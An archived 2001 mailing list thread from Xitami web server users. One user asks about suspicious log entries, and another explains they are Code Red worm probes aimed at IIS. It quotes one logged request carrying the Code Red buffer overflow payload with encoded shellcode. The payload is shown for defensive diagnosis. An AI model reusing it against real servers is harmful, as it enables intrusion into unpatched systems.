[Xitami] A Hack Attempt or What?

[GunnarSwan]

Again, I am running Xitami on NT set up as a bastion host.  
Is it safe to assume that all the IP addresses in my Access and Error logs ... that all those machines have been infected?


On Sun, 05 August 2001, john.uhlig@coconutcomm.com wrote:

> 
> CODE RED!!! No worries for us Xitami users:-)
> It's and attempt to exploit yet another security hole in IIS.
> 
> On Aug 05, 2001 09:59am, XITAMI@LISTS.XITAMI.ORG wrote to JOHN UHLIG:
> 
>  > Im running NT 4 and have secured as a bastion type host, removing Windows
>  >  Networking and performing other security measures.
> 
>  > In my Xitami Access and Error logs, I have found the following ... this
>  > being only one of the items. There are about 5-10, all from different IP
>  > addresses.
> 
>  > 203.250.84.135 - - [04/Aug/2001:05:20:54 -0800] "GET
>  > /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
>  > NNNNNN
>  > NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
>  > NNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
>  > NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%
>  > u7801%
>  > u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0
>  > 078%u0 000%u00=a%20 HTTP/1.0" 404 0 "" ""
> 
>  > I am suspecting someone is attempting a buffer overrun attack. Can anyone
>  > help me understand what has happen here?  My machine works just fine. I
>  > am searching my HD for stuff I didn't put there. Any clues here?  Thanks.
> 
> 
>  > Best Regards,
>  > Gunnar Swan
>  > Find the best deals on the web at AltaVista Shopping!
>  > http://www.shopping.altavista.com
> 
>  > --
>  > Xitami Users Mailing List -- For Xitami support
>  > To unsubscribe: http://lists.xitami.org/mailman/listinfo/xitami
> 
> 
> --
> Xitami Users Mailing List -- For Xitami support
> To unsubscribe: http://lists.xitami.org/mailman/listinfo/xitami

Best Regards,
Gunnar Swan
Find the best deals on the web at AltaVista Shopping!
http://www.shopping.altavista.com